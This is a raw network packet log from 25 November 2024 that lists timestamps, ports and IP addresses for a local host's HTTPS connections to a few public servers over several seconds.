Nov 25, 2024 16:21:58.349020004 CET	49911	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:58.349025011 CET	443	49911	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:58.351296902 CET	49918	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:58.351402998 CET	443	49918	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:58.351509094 CET	49918	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:58.351664066 CET	49918	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:58.351711988 CET	443	49918	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:58.472564936 CET	443	49912	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:58.472636938 CET	443	49912	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:58.472687960 CET	49912	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:58.472879887 CET	49912	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:58.472902060 CET	443	49912	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:58.472913980 CET	49912	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:58.472919941 CET	443	49912	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:58.476221085 CET	49919	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:58.476264954 CET	443	49919	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:58.476358891 CET	49919	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:58.476515055 CET	49919	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:58.476532936 CET	443	49919	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:58.653163910 CET	443	49913	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:58.656763077 CET	49913	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:58.656780958 CET	443	49913	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:58.657203913 CET	49913	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:58.657210112 CET	443	49913	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:58.701771975 CET	443	49908	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:58.701795101 CET	443	49908	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:58.701905012 CET	443	49908	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:58.701944113 CET	49908	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:58.701958895 CET	443	49908	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:58.701968908 CET	49908	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:58.702486038 CET	49908	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:58.702496052 CET	443	49908	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:58.702505112 CET	49908	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:58.702639103 CET	443	49908	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:58.702667952 CET	443	49908	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:58.702712059 CET	49908	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:58.745994091 CET	49920	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:58.746030092 CET	443	49920	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:58.746085882 CET	49920	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:58.746517897 CET	49920	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:58.746531010 CET	443	49920	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:58.834099054 CET	443	49914	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:58.834394932 CET	49914	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:58.834422112 CET	443	49914	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:58.834758997 CET	443	49914	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:58.835062981 CET	49914	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:58.835124969 CET	443	49914	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:58.835228920 CET	49914	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:58.875329018 CET	443	49914	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:58.883874893 CET	49914	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:59.099172115 CET	443	49913	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:59.099250078 CET	443	49913	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:59.099324942 CET	49913	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:59.099631071 CET	49913	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:59.099631071 CET	49913	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:59.099654913 CET	443	49913	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:59.099664927 CET	443	49913	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:59.102415085 CET	49921	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:59.102453947 CET	443	49921	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:59.102726936 CET	49921	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:59.105012894 CET	49921	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:59.105029106 CET	443	49921	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:59.292526960 CET	443	49914	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:59.292583942 CET	443	49914	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:59.292606115 CET	443	49914	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:59.292628050 CET	443	49914	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:59.292649984 CET	49914	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:59.292679071 CET	443	49914	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:59.292696953 CET	49914	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:59.292772055 CET	443	49914	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:59.292818069 CET	49914	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:59.295603991 CET	49914	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:59.295625925 CET	443	49914	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:59.295636892 CET	49914	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:59.295684099 CET	49914	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:59.300699949 CET	49922	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:59.300745964 CET	443	49922	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:59.300934076 CET	49922	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:59.301151037 CET	49922	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:59.301167011 CET	443	49922	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:59.907846928 CET	443	49915	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:59.908360958 CET	49915	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:59.908385992 CET	443	49915	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:59.909183025 CET	49915	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:59.909188986 CET	443	49915	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:59.909216881 CET	49915	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:59.909224987 CET	443	49915	20.190.147.1	192.168.2.5
Nov 25, 2024 16:22:00.092288971 CET	443	49919	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.093393087 CET	49919	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:00.093415022 CET	443	49919	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.094568014 CET	49919	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:00.094574928 CET	443	49919	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.121133089 CET	443	49916	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.121587992 CET	49916	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:00.121607065 CET	443	49916	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.122385979 CET	49916	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:00.122390985 CET	443	49916	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.128139019 CET	443	49917	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.128700018 CET	49917	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:00.128706932 CET	443	49917	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.129544973 CET	49917	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:00.129550934 CET	443	49917	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.162899971 CET	443	49918	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.163458109 CET	49918	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:00.163469076 CET	443	49918	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.163877010 CET	49918	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:00.163882017 CET	443	49918	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.432424068 CET	443	49835	23.44.203.14	192.168.2.5
Nov 25, 2024 16:22:00.432503939 CET	443	49835	23.44.203.14	192.168.2.5
Nov 25, 2024 16:22:00.432621956 CET	49835	443	192.168.2.5	23.44.203.14
Nov 25, 2024 16:22:00.438142061 CET	443	49834	23.44.203.14	192.168.2.5
Nov 25, 2024 16:22:00.438218117 CET	443	49834	23.44.203.14	192.168.2.5
Nov 25, 2024 16:22:00.438412905 CET	49834	443	192.168.2.5	23.44.203.14
Nov 25, 2024 16:22:00.514419079 CET	443	49922	104.117.182.66	192.168.2.5
Nov 25, 2024 16:22:00.514727116 CET	49922	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:22:00.514758110 CET	443	49922	104.117.182.66	192.168.2.5
Nov 25, 2024 16:22:00.515142918 CET	443	49922	104.117.182.66	192.168.2.5
Nov 25, 2024 16:22:00.515481949 CET	49922	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:22:00.515578985 CET	443	49922	104.117.182.66	192.168.2.5
Nov 25, 2024 16:22:00.515616894 CET	49922	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:22:00.547101974 CET	443	49919	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.547156096 CET	443	49919	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.547255039 CET	49919	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:00.547477007 CET	49919	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:00.547487974 CET	443	49919	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.547498941 CET	49919	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:00.547507048 CET	443	49919	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.550347090 CET	49923	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:00.550367117 CET	443	49923	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.550491095 CET	49923	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:00.550673962 CET	49923	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:00.550688982 CET	443	49923	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.555764914 CET	49922	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:22:00.555773973 CET	443	49922	104.117.182.66	192.168.2.5
Nov 25, 2024 16:22:00.583518028 CET	443	49917	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.583667040 CET	443	49917	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.583733082 CET	49917	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:00.583769083 CET	49917	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:00.583779097 CET	443	49917	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.583790064 CET	49917	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:00.583796024 CET	443	49917	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.583971977 CET	443	49916	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.584043026 CET	443	49916	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.584310055 CET	49916	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:00.584587097 CET	49916	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:00.584593058 CET	443	49916	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.584611893 CET	49916	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:00.584615946 CET	443	49916	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.586400986 CET	49924	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:00.586435080 CET	443	49924	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.586455107 CET	49925	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:00.586472034 CET	443	49925	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.586523056 CET	49924	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:00.586561918 CET	49925	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:00.586687088 CET	49925	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:00.586698055 CET	443	49925	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.586745977 CET	49924	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:00.586759090 CET	443	49924	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.629832983 CET	443	49920	20.190.147.1	192.168.2.5
Nov 25, 2024 16:22:00.630347967 CET	49920	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:22:00.630390882 CET	443	49920	20.190.147.1	192.168.2.5
Nov 25, 2024 16:22:00.630975008 CET	49920	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:22:00.630980968 CET	443	49920	20.190.147.1	192.168.2.5
Nov 25, 2024 16:22:00.631019115 CET	49920	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:22:00.631028891 CET	443	49920	20.190.147.1	192.168.2.5
Nov 25, 2024 16:22:00.649790049 CET	443	49918	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.649846077 CET	443	49918	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.650024891 CET	49918	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:00.650060892 CET	49918	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:00.650069952 CET	443	49918	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.650079012 CET	49918	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:00.650083065 CET	443	49918	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.652461052 CET	49926	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:00.652487993 CET	443	49926	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.652592897 CET	49926	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:00.652735949 CET	49926	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:00.652745008 CET	443	49926	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.795244932 CET	443	49915	20.190.147.1	192.168.2.5
Nov 25, 2024 16:22:00.795269966 CET	443	49915	20.190.147.1	192.168.2.5
Nov 25, 2024 16:22:00.795304060 CET	443	49915	20.190.147.1	192.168.2.5
Nov 25, 2024 16:22:00.795347929 CET	49915	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:22:00.795355082 CET	443	49915	20.190.147.1	192.168.2.5
Nov 25, 2024 16:22:00.795399904 CET	49915	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:22:00.795449972 CET	49915	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:22:00.795958996 CET	49915	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:22:00.795979023 CET	443	49915	20.190.147.1	192.168.2.5
Nov 25, 2024 16:22:00.795989037 CET	49915	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:22:00.795994997 CET	443	49915	20.190.147.1	192.168.2.5
Nov 25, 2024 16:22:00.838610888 CET	443	49921	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.839027882 CET	49921	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:00.839066982 CET	443	49921	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.839531898 CET	49921	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:00.839539051 CET	443	49921	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:00.891726971 CET	49927	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:22:00.891762972 CET	443	49927	20.190.147.1	192.168.2.5
Nov 25, 2024 16:22:00.892035961 CET	49927	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:22:00.892036915 CET	49927	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:22:00.892069101 CET	443	49927	20.190.147.1	192.168.2.5
Nov 25, 2024 16:22:00.961323977 CET	443	49922	104.117.182.66	192.168.2.5
Nov 25, 2024 16:22:00.961385012 CET	443	49922	104.117.182.66	192.168.2.5
Nov 25, 2024 16:22:00.961407900 CET	443	49922	104.117.182.66	192.168.2.5
Nov 25, 2024 16:22:00.961441040 CET	49922	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:22:00.961457014 CET	443	49922	104.117.182.66	192.168.2.5
Nov 25, 2024 16:22:00.961483002 CET	49922	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:22:00.961498976 CET	443	49922	104.117.182.66	192.168.2.5
Nov 25, 2024 16:22:00.961544037 CET	49922	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:22:00.962963104 CET	49922	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:22:00.962975979 CET	443	49922	104.117.182.66	192.168.2.5
Nov 25, 2024 16:22:00.968111038 CET	49835	443	192.168.2.5	23.44.203.14
Nov 25, 2024 16:22:00.968132973 CET	443	49835	23.44.203.14	192.168.2.5
Nov 25, 2024 16:22:00.968173981 CET	49834	443	192.168.2.5	23.44.203.14
Nov 25, 2024 16:22:00.968225956 CET	443	49834	23.44.203.14	192.168.2.5
Nov 25, 2024 16:22:00.968504906 CET	49928	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:22:00.968559027 CET	443	49928	104.117.182.66	192.168.2.5
Nov 25, 2024 16:22:00.968637943 CET	49928	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:22:00.968825102 CET	49928	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:22:00.968858004 CET	443	49928	104.117.182.66	192.168.2.5
Nov 25, 2024 16:22:01.283740997 CET	443	49921	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:01.283809900 CET	443	49921	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:01.284548044 CET	49921	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:01.284576893 CET	49921	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:01.284590006 CET	443	49921	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:01.284599066 CET	49921	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:01.284605026 CET	443	49921	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:01.287218094 CET	49929	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:01.287257910 CET	443	49929	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:01.287358999 CET	49929	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:01.287548065 CET	49929	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:01.287563086 CET	443	49929	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:01.998109102 CET	443	49920	20.190.147.1	192.168.2.5
Nov 25, 2024 16:22:01.998141050 CET	443	49920	20.190.147.1	192.168.2.5
Nov 25, 2024 16:22:01.998191118 CET	443	49920	20.190.147.1	192.168.2.5
Nov 25, 2024 16:22:01.998239040 CET	49920	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:22:01.998271942 CET	443	49920	20.190.147.1	192.168.2.5
Nov 25, 2024 16:22:01.998290062 CET	49920	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:22:01.998529911 CET	49920	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:22:01.998785019 CET	49920	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:22:01.998831987 CET	443	49920	20.190.147.1	192.168.2.5
Nov 25, 2024 16:22:01.998859882 CET	49920	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:22:01.998876095 CET	443	49920	20.190.147.1	192.168.2.5
Nov 25, 2024 16:22:02.241853952 CET	443	49928	104.117.182.66	192.168.2.5
Nov 25, 2024 16:22:02.242278099 CET	49928	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:22:02.242316008 CET	443	49928	104.117.182.66	192.168.2.5
Nov 25, 2024 16:22:02.242667913 CET	443	49928	104.117.182.66	192.168.2.5
Nov 25, 2024 16:22:02.243098974 CET	49928	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:22:02.243170977 CET	443	49928	104.117.182.66	192.168.2.5
Nov 25, 2024 16:22:02.243340015 CET	49928	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:22:02.274997950 CET	443	49923	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:02.275515079 CET	49923	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:02.275543928 CET	443	49923	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:02.275973082 CET	49923	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:02.275978088 CET	443	49923	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:02.291322947 CET	443	49928	104.117.182.66	192.168.2.5
Nov 25, 2024 16:22:02.382632017 CET	443	49925	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:02.383100033 CET	49925	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:02.383142948 CET	443	49925	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:02.383559942 CET	49925	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:02.383567095 CET	443	49925	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:02.390677929 CET	443	49926	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:02.391088009 CET	49926	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:02.391113997 CET	443	49926	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:02.391515017 CET	49926	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:02.391520023 CET	443	49926	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:02.547554016 CET	443	49924	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:02.548031092 CET	49924	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:02.548068047 CET	443	49924	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:02.548572063 CET	49924	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:02.548578978 CET	443	49924	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:02.678481102 CET	443	49928	104.117.182.66	192.168.2.5
Nov 25, 2024 16:22:02.678514004 CET	443	49928	104.117.182.66	192.168.2.5
Nov 25, 2024 16:22:02.678572893 CET	49928	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:22:02.678592920 CET	443	49928	104.117.182.66	192.168.2.5
Nov 25, 2024 16:22:02.678685904 CET	49928	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:22:02.680222034 CET	49928	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:22:02.680248976 CET	443	49928	104.117.182.66	192.168.2.5
Nov 25, 2024 16:22:02.779227018 CET	443	49927	20.190.147.1	192.168.2.5
Nov 25, 2024 16:22:02.779746056 CET	49927	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:22:02.779791117 CET	443	49927	20.190.147.1	192.168.2.5
Nov 25, 2024 16:22:02.780391932 CET	49927	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:22:02.780396938 CET	443	49927	20.190.147.1	192.168.2.5
Nov 25, 2024 16:22:02.780433893 CET	49927	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:22:02.780442953 CET	443	49927	20.190.147.1	192.168.2.5
Nov 25, 2024 16:22:02.787933111 CET	443	49923	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:02.788007021 CET	443	49923	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:02.788067102 CET	49923	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:02.788341999 CET	49923	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:02.788362026 CET	443	49923	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:02.788372993 CET	49923	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:02.788378954 CET	443	49923	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:02.791690111 CET	49930	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:02.791728020 CET	443	49930	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:02.791805029 CET	49930	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:02.792109013 CET	49930	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:02.792121887 CET	443	49930	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:02.829375982 CET	443	49925	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:02.829453945 CET	443	49925	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:02.829554081 CET	49925	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:02.829641104 CET	49925	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:02.829658985 CET	443	49925	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:02.829669952 CET	49925	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:02.829674959 CET	443	49925	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:02.829720020 CET	443	49926	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:02.829778910 CET	443	49926	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:02.829847097 CET	49926	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:02.829976082 CET	49926	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:02.829997063 CET	443	49926	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:02.830008030 CET	49926	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:02.830013037 CET	443	49926	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:02.832806110 CET	49931	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:02.832854986 CET	443	49931	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:02.832916021 CET	49931	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:02.833364010 CET	49931	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:02.833378077 CET	443	49931	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:02.834925890 CET	49932	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:02.834964991 CET	443	49932	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:02.835086107 CET	49932	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:02.835199118 CET	49932	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:02.835211992 CET	443	49932	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:03.006076097 CET	443	49924	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:03.006103039 CET	443	49924	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:03.006158113 CET	49924	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:03.006186008 CET	443	49924	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:03.006200075 CET	443	49924	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:03.006268978 CET	49924	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:03.006419897 CET	49924	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:03.006437063 CET	443	49924	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:03.006445885 CET	49924	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:03.006452084 CET	443	49924	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:03.009448051 CET	49933	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:03.009501934 CET	443	49933	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:03.009673119 CET	49933	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:03.009833097 CET	49933	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:03.009860039 CET	443	49933	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:03.157051086 CET	443	49929	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:03.157468081 CET	49929	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:03.157491922 CET	443	49929	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:03.157987118 CET	49929	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:03.157990932 CET	443	49929	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:03.465619087 CET	443	49927	20.190.147.1	192.168.2.5
Nov 25, 2024 16:22:03.465646982 CET	443	49927	20.190.147.1	192.168.2.5
